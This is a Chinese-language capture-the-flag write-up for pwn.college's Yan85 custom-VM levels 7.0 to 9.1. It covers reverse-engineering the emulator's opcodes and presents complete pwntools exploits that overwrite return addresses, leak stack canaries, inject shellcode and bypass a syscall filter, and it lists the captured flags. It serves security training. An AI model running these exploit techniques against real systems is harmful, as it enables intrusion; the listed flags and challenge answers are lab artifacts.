puts("[+]");
puts("[+] This is a *teaching* challenge, which means that it will output");
puts("[+] a trace of the Yan85 code as it processes it. The output is here");
puts("[+] for you to understand what the challenge is doing, and you should use");
puts("[+] it as a guide to help with your reversing of the code.");
puts("[+]");
interpreter_loop((__int64)buf);
puts("[+] Exited interpreter loop! I hope you accomplished what you wanted!");
puts("[!] Let's take a look at the stack after your yancode executed:");
DUMP_STACK(sp_, sz_);
5 collapsed lines
printf("[-] the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("[-] the saved return address is at %p\n", (const void *)rp_);
printf("[-] the saved return address is now pointing to %p.\n", *(const void **)rp_);
return 0;
}

Wow, Yan85 Virtual Machine!

第一次见这种自定义指令集的题,感觉还是很新颖的!OK,通过简单的观察分析我们大致可以知道,这题会使用一套自定义指令集,称为 yancode!而剩下的不用我说你应该也清楚,那就是用这套自定义指令集来写 shellcode,想办法获取 flag。

所以得先逆向分析搞清楚这个虚拟机提供了哪些指令,指令的机器码等等这些最基本的元素,才有能力用它编写 shellcode,攻击的思路则与用什么指令集无关,随你发挥~

程序的 main 函数我贴在上面了,我本来想尝试通过 read(0, buf, 0x300uLL); 来覆盖返回地址的,但是我们的输入大小被限制在 0x300 了,根本摸不到……也是,这可是传说中的 Yan85,怎么可能那么容易哈哈哈。那么继续往下看,我们发现,它会调用 interpreter_loop((__int64)buf) 来解析 buf 中的指令。

这个函数的定义如下:

__int64 __fastcall interpreter_loop(__int64 a1)
{
unsigned __int8 v1; // al
__int64 result; // rax
while ( 1 )
{
result = *(unsigned __int8 *)(a1 + 1029);
if ( (_BYTE)result == 0xFF )
break;
v1 = *(_BYTE *)(a1 + 1029);
*(_BYTE *)(a1 + 1029) = v1 + 1;
interpret_instruction(
a1,
*(unsigned __int16 *)(a1 + 3LL * v1) | ((unsigned __int64)*(unsigned __int8 *)(a1 + 3LL * v1 + 2) << 16));
}
return result;
}

它通过 interpret_instruction(unsigned __int8 *a1, __int64 a2) 将 buf 中指令的机器码解析为 yancode 的伪代码。

并且,当 (_BYTE)result == 0xFF 时,结束 interpreter_loop,也就是停止翻译指令了。结合下文的寄存器分析我们知道,这个 result 其实就是 i 寄存器。

*(unsigned __int16 *)&a1[3 * v1] | ((unsigned __int64)a1[3 * v1 + 2] << 16) 所做的就是合并出一条三字节指令。

interpret_instruction 函数的定义如下:

__int64 __fastcall interpret_instruction(unsigned __int8 *a1, __int64 a2)
{
__int64 result; // rax
printf(
"[V] a:%#hhx b:%#hhx c:%#hhx d:%#hhx s:%#hhx i:%#hhx f:%#hhx\n",
a1[1024],
a1[1025],
a1[1026],
a1[1027],
a1[1028],
a1[1029],
a1[1030]);
printf("[I] op:%#hhx arg1:%#hhx arg2:%#hhx\n", BYTE1(a2), (unsigned __int8)a2, BYTE2(a2));
if ( (a2 & 0x400) != 0 )
interpret_imm(a1, a2);
if ( (a2 & 0x800) != 0 )
interpret_add(a1, a2);
if ( (a2 & 0x100) != 0 )
interpret_stk(a1, a2);
if ( (a2 & 0x8000) != 0 )
interpret_stm(a1, a2);
if ( (a2 & 0x1000) != 0 )
interpret_ldm(a1, a2);
if ( (a2 & 0x200) != 0 )
interpret_cmp(a1, a2);
if ( (a2 & 0x2000) != 0 )
interpret_jmp(a1, a2);
result = BYTE1(a2) & 0x40;
if ( (a2 & 0x4000) != 0 )
return interpret_sys(a1, a2);
return result;
}

这里,我们可以看到 Yan85 提供的寄存器(a、b、c、d、s、i、f)在内存中的保存位置分别是 a1[1024] ~ a1[1030]

我大胆猜测一下这些寄存器的用途:a、b、c、d 应该是四个通用寄存器;s 应该是栈指针寄存器;i 应该是指令指针寄存器;f 应该是标志寄存器。

然后,第 14 行会输出一个提示信息告诉我们当前 opcodearg1arg2 的值,这对我们理解内存中的数据如何解析成指令很有帮助。

这里 IDA 的反汇编使用了 BYTE1BYTE2 宏。它们的作用分别是取一个数据的第 1 位、第 2 位。同理,BYTE0 取第 1 位,类似的宏应该有 BYTE0 ~ BYTE7

我们以数据 x = 0x1122334455667788 为例,BYTE1 做的应该是 (x >> 8) & 0xFF,得到 0x77BYTE2 做的应该是 (x >> 16) & 0xFF,得到 0x66

知道了这些后,我很很容易推断出 yancode 使用的三字节指令在内存中的布局 (LSB) 为:arg2 opcode arg1

最后,opcode 的判断是根据 (a2 & N) != 0 来实现的。其中 N 对于不同的 opcode 来说是不一样的。

假设我需要执行 add 操作,那就必须满足 (a2 & 0x800) != 0,其中 a2 是你的一整条指令(操作码加操作数)。程序会判断你这条指令与 0x800 的逻辑与结果是否为 0,不为 0 则断言这条指令的 opcodeadd,再利用你给的 args 去调用 interpret_add(a1, a2),也就是解析 add 指令的具体操作。

0x800 的二进制表示是 0b100000000000,所以为了得到一条 add 指令,我们要做的就是令 bin(a2) 的第 11 位为 1。

好了,下面列张表,记录一下各指令的 opcode,答案不为一,这里给出的是最小表示。另外,我顺便还分析了一下每条指令的功能,所以这张表也顺便记录了不同指令的使用格式和简介。

OpcodeInstructionDescription
\x04imm reg, byteLoad byte to reg register.
\x08add reg1, reg2Add reg2 to reg1.
\x01stk reg1, reg2Push reg2 if reg2 is not zero, pop reg1 if reg1 is not zero.
\x80stm reg1, reg2It does the same as *reg1 = reg2.
\x10ldm reg1, reg2It does the same as reg1 = *reg2
\x02cmp reg1, reg2Compare two registers and set the f register status.
\x20jmp flags, regIf flags != 0 and flags setted in f, jump to the address saved in reg.
\x40sys SYS_num, regExecute specific SYS_num system call, return value saved in reg.

对于 cmp 指令,不同比较结果的标志位状态表如下:

f statusCompare results
\x10reg1 < reg2
\x02reg1 > reg2
\x04reg1 = reg2
\x01reg1 != reg2
\x08reg1, reg2 = 0

对于 sys 指令,我们可用的系统调用号如下:

NRSYSCALL NAME
\x02SYS_open
\x08SYS_read_code
\x10SYS_read_memory
\x01SYS_write
\x20SYS_sleep
\x04SYS_exit

接下来是搞清楚寄存器的机器码,我们发现一个 describe_register 函数,作用是把寄存器机器码解析为对应寄存器名称。

__int16 *__fastcall describe_register(char a1)
{
switch ( a1 )
{
case 1:
return aAbcdsif;
case 8:
return &aAbcdsif[1];
case 16:
return &aAbcdsif[2];
case 2:
return &aAbcdsif[3];
case 64:
return &aAbcdsif[4];
case 4:
return &aAbcdsif[5];
case 32:
return &aAbcdsif[6];
}
if ( a1 )
return (__int16 *)"?";
return (__int16 *)"NONE";
}
.rodata:00000000004031CC aAbcdsif: ; DATA XREF: describe_register+13↑o
.rodata:00000000004031CC ; describe_register+22↑o ...
.rodata:00000000004031CC text "UTF-16LE", 'abcdsif'

还有一个 write_register 函数,用来向寄存器写入数据:

_BYTE *__fastcall write_register(_BYTE *a1, char a2, char a3)
{
_BYTE *result; // rax
switch ( a2 )
{
case 1:
result = a1;
a1[1024] = a3;
break;
case 8:
result = a1;
a1[1025] = a3;
break;
case 16:
result = a1;
a1[1026] = a3;
break;
case 2:
result = a1;
a1[1027] = a3;
break;
case 64:
result = a1;
a1[1028] = a3;
break;
case 4:
result = a1;
a1[1029] = a3;
break;
case 32:
result = a1;
a1[1030] = a3;
break;
default:
crash(a1, "unknown register");
}
return result;
}

综合上面两个函数我们得到了不同寄存器所对应的机器码和寄存器在内存中的偏移地址:

OpcodeRegisterOffset
\x01a0x400
\x08b0x401
\x10c0x402
\x02d0x403
\x40s0x404
\x04i0x405
\x20f0x406
Undefined?Non-existent
\x00NONENon-existent

某些非法情况会触发 crash 函数:

// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn crash(__int64 a1, const char *a2)
{
printf("Machine CRASHED due to: %s\n", a2);
((void (__fastcall __noreturn *)(__int64, __int64))sys_exit)(a1, 1LL);
}

至此,我们基本上已经摸清楚整个 Yan85 架构了,下面来说说这题的攻击思路。

一开始我以为是要用纯 yancode 来写 shellcode,后来发现确实要用 yancode,但并非整个 shellcode 都得用 yancode 来写。这困扰了我将近一天时间(其实也就几个小时,因为我这几天畏难摆烂,所以真正在思考的时间很少……),期间我想了尝试用 yancode 读取 flag 的各种姿势,差点放弃……因为这个先入为主的思维定势浪费了不少时间,希望下次别了。提到这个,我越发觉得需要早点入手一本纸质版的《思考,快与慢》了。电子版着实看不下去,还是纸质版的适合我。虽然这个寒假应该不会有什么时间读……不管了,先买了再说,反正早晚得有~

嗯……我注意到 SYS_read_memory 系统调用内部进行了一些有趣的操作:

if ( (a2 & 0x10) != 0 )
{
puts("[s] ... read_memory");
v5 = sys_read(a1, a1[1024], &a1[a1[1025] + 0x300], a1[1026]);
write_register(a1, BYTE2(a2), v5);
}
ssize_t __fastcall sys_read(__int64 a1, int a2, void *a3, size_t a4)
{
return read(a2, a3, a4);
}
// attributes: thunk
ssize_t read(int fd, void *buf, size_t nbytes)
{
return read(fd, buf, nbytes);
}

它把数据读到 &a1[a1[1025] + 0x300] 这个位置。我们发现 main 中的 read(0, buf, 0x300uLL); 只让我们读最高 0x300 字节到 buf,但是这个 SYS_read_memory 却可以让我们把数据读到 buf[offset + 0x300] 处。敏感吗?熟悉吗?0x300?这不是法外之地吗?

很幸运,我们确实可以用它来覆盖返回地址。但这里我脑子一抽又踩了一个坑,我想着把返回地址覆盖为 sys_open 函数的地址,然后发现就算我可以返回到 sys_open 又如何……

好在五分钟后我就从这个破坑里面爬出来了……我意识到应该结合 main 中的 read,把我的 shellcode 读到内存中,返回地址覆盖为我 shellcode 的起始地址,这才对嘛。

所以最后的攻击链应该是 main 中的 read 读取 yancode + shellcode,其中 yancode 负责调用 SYS_read_memory 来覆盖返回地址,返回地址我们修改为 shellcode 的起始地址,perfect.

调用 SYS_read_memory 需要用到的三个参数分别通过三个寄存器传参。a 传递文件描述符、b 传递偏移、c 传递最大读取大小。

对了,因为 buf[0x300] 到返回地址还有一段不小的距离,所以我们的 offset 直接选择三字节指令可承受的最大值 0xff,这个随意,只是想负责的说一下以便于你可以更好的理解我的 exp。

最后,说说做完这题后的感想吧……我觉得自己在逆向工程方面的能力还是有巨大提升空间的(对的被你看出来了,我就是菜,又怎样 LOL),一定要静下心来逆向分析啊,这太重要了。讲真这题的逆向其实很简单,就是单纯畏难不想看……我也搞不懂为什么每次碰到难题都会特别的畏难,没有激情,艹我可不能只会擅长的东西啊……动态调试能力与之前相比倒是提升了很多,真棒~

再分享一下刚做完的时候的状态 LOL

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
time,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-7-0"
HOST, PORT = "localhost", 1337
gdbscript = """
b *interpret_sys+397
b *main+715
c
"""
yancode_length = 0
stack_base = 0x7FFFFFFDE000
padding_to_ret = b"".ljust(0x19, b"A")
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def construct_payload():
global yancode_length
"""
arg1 op arg2
"""
yancode = b"\x01\x04\x00" # imm a, 0x00
yancode += b"\x08\x04\xff" # imm b, 0xff
yancode += b"\x10\x04\x21" # imm c, 0x21
yancode += b"\x10\x40\x01" # sys 0x02, a
yancode += b"\x04\x04\xff" # imm i, 0xff
yancode_length = len(yancode)
shellcode = yancode
shellcode += asm(shellcraft.chmod("f", 0o4))
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
send_payload(target, payload)
ret2shellcode = padding_to_ret
ret2shellcode += p64(stack_base + yancode_length)
target.sendlineafter(b"... read_memory", ret2shellcode)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
global stack_base
start_time = time.time()
while True:
try:
target = launch(debug=False)
payload = construct_payload()
if attack(target, payload):
break
stack_base = stack_base + 0x8
except Exception as e:
log.exception(f"An error occurred in main: {e}")
end_time = time.time()
elapsed_time = end_time - start_time
log.success(f"Total elapsed time: {elapsed_time:.2f} seconds.")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{4KYvwTY0ajVZJykveF7xtOj0Kfc.0VMzMDL5cTNxgzW}

Level 7.1

Information

Description

Write a full exploit for a custom VM involving injecting shellcode and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge. Note, ASLR is disabled!

Write-up

逆向分析我们发现这题把 opcode 都改掉了,所以我们还得先重新确认各指令的 opcode 才行。之后的话思路和上题差不多了,不过栈地址我这次不打算爆破。write 可以从栈中泄漏出来一点栈地址之类的,以它为基,减去 shellcode 的偏移,得到 shellcode 的地址。

嗯,再推荐一个 IDA Plugin,叫 syms2elf。它可以导出带符号表的 ELF 文件,对于那些 stripped,分析起来困难的二进制文件,有了这个插件不要太爽。

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-7-1"
HOST, PORT = "localhost", 1337
gdbscript = """
b write@plt
b *0x401efc
c
"""
shellcode_offset = 0x4EC
padding_to_ret = b"".ljust(0x19, b"A")
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def construct_payload():
# stage 1: leak stack base address
yancode = b"\x04\x80\x01" # imm a, 0x01
yancode += b"\x10\x80\xff" # imm b, 0xff
yancode += b"\x02\x80\x31" # imm c, 0x31
yancode += b"\x10\x02\x04" # sys 0x10, a
# stage 2: overwrite return address
yancode += b"\x04\x80\x00" # imm a, 0x00
yancode += b"\x10\x80\xff" # imm b, 0xff
yancode += b"\x02\x80\x21" # imm c, 0x21
yancode += b"\x02\x02\x04" # sys 0x02, a
yancode += b"\x20\x80\xff" # imm i, 0xff
# stage 3: ret2shellcode
shellcode = yancode
shellcode += asm(shellcraft.chmod("f", 0o4))
return shellcode
def leak_data(response):
leaked_stack_base = response[-8:]
log.debug(leaked_stack_base.decode("utf-8", errors="ignore"))
log.success(f"Leaked stack base address: {to_hex_bytes(leaked_stack_base)}")
return int.from_bytes(leaked_stack_base, "little")
def attack(target, payload):
try:
os.system("ln -s /flag f")
send_payload(target, payload)
response = target.recv()
log.debug(response.decode("utf-8", errors="ignore"))
stack_base = leak_data(response)
ret2shellcode = padding_to_ret
ret2shellcode += p64(stack_base - shellcode_offset)
send_payload(target, ret2shellcode)
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch(debug=False)
payload = construct_payload()
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{8GNqGB_LW-iRUy4il8m7fn0YMK5.0lMzMDL5cTNxgzW}

Level 8.0

Information

Description

Write a full exploit for a custom VM involving injecting shellcode, and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge.

Write-up

啊,就是同时泄漏栈地址和 canary 地址呗,没啥好讲的。自己逆向分析 yancode 的操作码。

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-8-0"
HOST, PORT = "localhost", 1337
gdbscript = """
b *sys_write+43
b *sys_read
b *main+750
c
"""
shellcode_offset = 0x4ED
padding_to_canary = b"".ljust(0x9, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def construct_payload():
# stage 1: leak stack base address
yancode = b"\x01\x04\x01" # imm a, 0x01
yancode += b"\xff\x40\x01" # imm b, 0xff
yancode += b"\x2f\x02\x01" # imm c, 0x2f
yancode += b"\x04\x10\x08" # sys 0x10, a
# stage 2: overwrite return address
yancode += b"\x00\x04\x01" # imm a, 0x00
yancode += b"\xff\x40\x01" # imm b, 0xff
yancode += b"\x21\x02\x01" # imm c, 0x21
yancode += b"\x04\x02\x08" # sys 0x02, a
yancode += b"\xff\x20\x01" # imm i, 0xff
# stage 3: ret2shellcode
shellcode = yancode
shellcode += asm(shellcraft.chmod("f", 0o4))
return shellcode
def leak_data(response):
leaked_canary = response[-0x26:-0x1E]
leaked_stack_base = response[-0x6:]
log.success(f"Leaked canary: {to_hex_bytes(leaked_canary)}")
log.success(f"Leaked stack base address: {to_hex_bytes(leaked_stack_base)}")
return [
int.from_bytes(leaked_canary, "little"),
int.from_bytes(leaked_stack_base, "little"),
]
def attack(target, payload):
try:
os.system("ln -s /flag f")
send_payload(target, payload)
response = target.recv()
log.debug(response.decode("utf-8", errors="ignore"))
target.recvuntil(b"... write")
response = target.recv(0x30)
canary, stack_base = leak_data(response)
ret2shellcode = padding_to_canary
ret2shellcode += p64(canary)
ret2shellcode += padding_to_ret
ret2shellcode += p64(stack_base - shellcode_offset)
send_payload(target, ret2shellcode)
response = target.recvall(timeout=3)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch(debug=False)
payload = construct_payload()
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{wRfuRyCMy3WESGVx2pkEv3pQiJA.01MzMDL5cTNxgzW}

Level 8.1

Information

Description

Write a full exploit for a custom VM involving injecting shellcode, and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge.

Write-up

参见 Level 8.0

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-8-1"
HOST, PORT = "localhost", 1337
gdbscript = """
b write@plt
b read@plt
c
"""
shellcode_offset = 0x4ED
padding_to_canary = b"".ljust(0x9, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def construct_payload():
# stage 1: leak stack base address
yancode = b"\x01\x40\x20" # imm a, 0x01
yancode += b"\xff\x40\x08" # imm b, 0xff
yancode += b"\x2f\x40\x10" # imm c, 0x2f
yancode += b"\x01\x80\x01" # sys 0x01, d
# stage 2: overwrite return address
yancode += b"\x00\x40\x20" # imm a, 0x00
yancode += b"\xff\x40\x08" # imm b, 0xff
yancode += b"\x21\x40\x10" # imm c, 0x21
yancode += b"\x20\x80\x04" # sys 0x02, a
yancode += b"\xff\x40\x40" # imm i, 0xff
# stage 3: ret2shellcode
shellcode = yancode
shellcode += asm(shellcraft.chmod("f", 0o4))
return shellcode
def leak_data(response):
leaked_canary = response[-0x26:-0x1E]
leaked_stack_base = response[-0x6:]
log.success(f"Leaked canary: {to_hex_bytes(leaked_canary)}")
log.success(f"Leaked stack base address: {to_hex_bytes(leaked_stack_base)}")
return [
int.from_bytes(leaked_canary, "little"),
int.from_bytes(leaked_stack_base, "little"),
]
def attack(target, payload):
try:
os.system("ln -s /flag f")
send_payload(target, payload)
response = target.recv()
log.debug(response.decode("utf-8", errors="ignore"))
canary, stack_base = leak_data(response)
ret2shellcode = padding_to_canary
ret2shellcode += p64(canary)
ret2shellcode += padding_to_ret
ret2shellcode += p64(stack_base - shellcode_offset)
send_payload(target, ret2shellcode)
response = target.recvall(timeout=3)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch(debug=False)
payload = construct_payload()
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{IX1KO9KJhczkci-cjl7VXfsQ-Qw.0FNzMDL5cTNxgzW}

Level 9.0

Information

Description

Provide your own Yan85 shellcode! This time, it’s filtered.

Write-up

1 collapsed line
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+18h] [rbp-418h]
int i; // [rsp+1Ch] [rbp-414h]
_BYTE v5[1024]; // [rsp+20h] [rbp-410h] BYREF
int v6; // [rsp+420h] [rbp-10h]
__int16 v7; // [rsp+424h] [rbp-Ch]
char v8; // [rsp+426h] [rbp-Ah]
15 collapsed lines
unsigned __int64 v9; // [rsp+428h] [rbp-8h]
v9 = __readfsqword(0x28u);
printf("[+] Welcome to %s!\n", *argv);
puts("[+] This challenge is an custom emulator. It emulates a completely custom");
puts("[+] architecture that we call \"Yan85\"! You'll have to understand the");
puts("[+] emulator to understand the architecture, and you'll have to understand");
puts("[+] the architecture to understand the code being emulated, and you will");
puts("[+] have to understand that code to get the flag. Good luck!");
puts("[+]");
puts("[+] This level is a full Yan85 emulator. You'll have to reason about yancode,");
puts("[+] and the implications of how the emulator interprets it!");
setvbuf(_bss_start, 0LL, 2, 1uLL);
memset(v5, 0, sizeof(v5));
v6 = 0;
v7 = 0;
v8 = 0;
printf("[!] This time, YOU'RE in control! Please input your yancode: ");
read(0, &v5[256], 0x300uLL);
puts("[!] Are you ready for ultimate Yan85 shellcoding? This challenge only allows you ONE sys instruction!");
v3 = 0;
for ( i = 0; i <= 255; ++i )
{
if ( (v5[3 * i + 256] & 4) != 0 )
++v3;
}
if ( v3 > 1 )
__assert_fail("num_syscalls <= 1", "/challenge/toddlerone-level-9-0.c", 0x1BAu, "main");
puts("[+] This might seem impossible, but this challenge makes one memory error that will allow you");
puts("[+] to execute the system calls you need. The error is what's known as an *intra-frame* overflow:");
puts("[+] you won't be able to hijack control flow, but you'll be able to mess with the intended logic");
9 collapsed lines
puts("[+] of the emulator!");
puts("[+]");
puts("[+] This is a *teaching* challenge, which means that it will output");
puts("[+] a trace of the Yan85 code as it processes it. The output is here");
puts("[+] for you to understand what the challenge is doing, and you should use");
puts("[+] it as a guide to help with your reversing of the code.");
puts("[+]");
interpreter_loop(v5);
}

这题把 orw 系统调用都开放了,所以我们可以考虑能不能直接通过 orw 拿 flag。main 逻辑是把我们的输入数据读到 &v5[256] 处,然后绿色部分是一个 filter,负责判断 256 组三字节指令是否包含 syscall 的 opcode,包含则增加 v3v3 > 1 则断言失败。所以简单来说就是我们输入的数据最多只能使用一个 syscall。

好办,我们知道 interpreter_loop(v5) 会不断读取并执行下一条指令:

void __fastcall __noreturn interpreter_loop(__int64 a1)
{
unsigned __int8 v1; // al
while ( 1 )
{
v1 = *(_BYTE *)(a1 + 1029);
*(_BYTE *)(a1 + 1029) = v1 + 1;
interpret_instruction(
a1,
*(unsigned __int16 *)(a1 + 3LL * v1 + 256) | ((unsigned __int64)*(unsigned __int8 *)(a1 + 3LL * v1 + 258) << 16));
}
}

如果我们先提供一个 read syscall,把我们的 shellcode 读到 &v5[255] 处,是不是绕过了 filter?而之后因为 rip 一直在改变,我们是不是需要填充一些垃圾值占位那些我们执行过的指令?在此之后就是我们当前的 rip 了,在这里写 shellcode,是不是就接着执行了?

妙哉,开撸!

话说为什么我每次一有思路的时候就正好播放《雾里》了?好的,单曲循环直到打通 LMAO

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
context,
gdb,
log,
process,
remote,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-9-0"
HOST, PORT = "localhost", 1337
gdbscript = """
b *main+287
b *sys_read+43
b *sys_open+43
b *sys_write+43
c
"""
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(stage):
if stage == 1:
# read the shellcode to where is out of the filter's range
yancode = b"\x80\x08\x00" # imm a, 0x00
yancode += b"\x80\x02\xff" # imm b, 0xff
yancode += b"\x80\x01\xff" # imm c, 0xff
yancode += b"\x04\x10\x08" # sys 0x10, a
return yancode
elif stage == 2:
# padding to rip
yancode = b"\x00" * 13
# construct "/flag" string
yancode += b"\x80\x08\x00" # imm a, 0x00
yancode += b"\x80\x02\x2f" # imm b, 0x2f
yancode += b"\x40\x08\x02" # stm a, b
yancode += b"\x80\x08\x01" # imm a, 0x01
yancode += b"\x80\x02\x66" # imm b, 0x66
yancode += b"\x40\x08\x02" # stm a, b
yancode += b"\x80\x08\x02" # imm a, 0x02
yancode += b"\x80\x02\x6c" # imm b, 0x6c
yancode += b"\x40\x08\x02" # stm a, b
yancode += b"\x80\x08\x03" # imm a, 0x03
yancode += b"\x80\x02\x61" # imm b, 0x61
yancode += b"\x40\x08\x02" # stm a, b
yancode += b"\x80\x08\x04" # imm a, 0x04
yancode += b"\x80\x02\x67" # imm b, 0x67
yancode += b"\x40\x08\x02" # stm a, b
# open /flag
yancode += b"\x80\x08\x00" # imm a, 0x00
yancode += b"\x80\x02\x00" # imm b, 0x00
yancode += b"\x04\x01\x08" # sys 0x01, a
# read
yancode += b"\x80\x02\x08" # imm b, 0x08
yancode += b"\x80\x01\xff" # imm c, 0xff
yancode += b"\x04\x10\x08" # sys 0x10, a
# write
yancode += b"\x80\x08\x01" # imm a, 0x01
yancode += b"\x04\x08\x08" # sys 0x08 a
return yancode
else:
log.error("Invalid stage number.")
def extract_flag(target):
try:
target.recvuntil(b"pwn.college{")
flag = target.recv(0xFF)
log.success(f"pwn.college{{{flag.decode("utf-8")}")
exit()
except Exception as e:
log.exception(f"An error occurred while extracting flag: {e}")
def attack(target, payload):
try:
send_payload(target, payload)
payload = construct_payload(2)
send_payload(target, payload)
extract_flag(target)
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch(debug=False)
payload = construct_payload(1)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{UDbugZTc3krZyqHikNYIwlOG2I2.0VNzMDL5cTNxgzW}

Level 9.1

Information

Description

Provide your own Yan85 shellcode! This time, it’s filtered.

Write-up

参见 Level 9.0

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
context,
gdb,
log,
process,
remote,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-9-1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(stage):
if stage == 1:
# read the shellcode to where is out of the filter's range
yancode = b"\x00\x02\x80" # imm a, 0x00
yancode += b"\xff\x20\x80" # imm b, 0xff
yancode += b"\xff\x04\x80" # imm c, 0xff
yancode += b"\x02\x02\x10" # sys 0x02, a
return yancode
elif stage == 2:
# padding to rip
yancode = b"\x00" * 13
# construct "/flag" string
yancode += b"\x00\x02\x80" # imm a, 0x00
yancode += b"\x2f\x20\x80" # imm b, 0x2f
yancode += b"\x20\x02\x04" # stm a, b
yancode += b"\x01\x02\x80" # imm a, 0x01
yancode += b"\x66\x20\x80" # imm b, 0x66
yancode += b"\x20\x02\x04" # stm a, b
yancode += b"\x02\x02\x80" # imm a, 0x02
yancode += b"\x6c\x20\x80" # imm b, 0x6c
yancode += b"\x20\x02\x04" # stm a, b
yancode += b"\x03\x02\x80" # imm a, 0x03
yancode += b"\x61\x20\x80" # imm b, 0x61
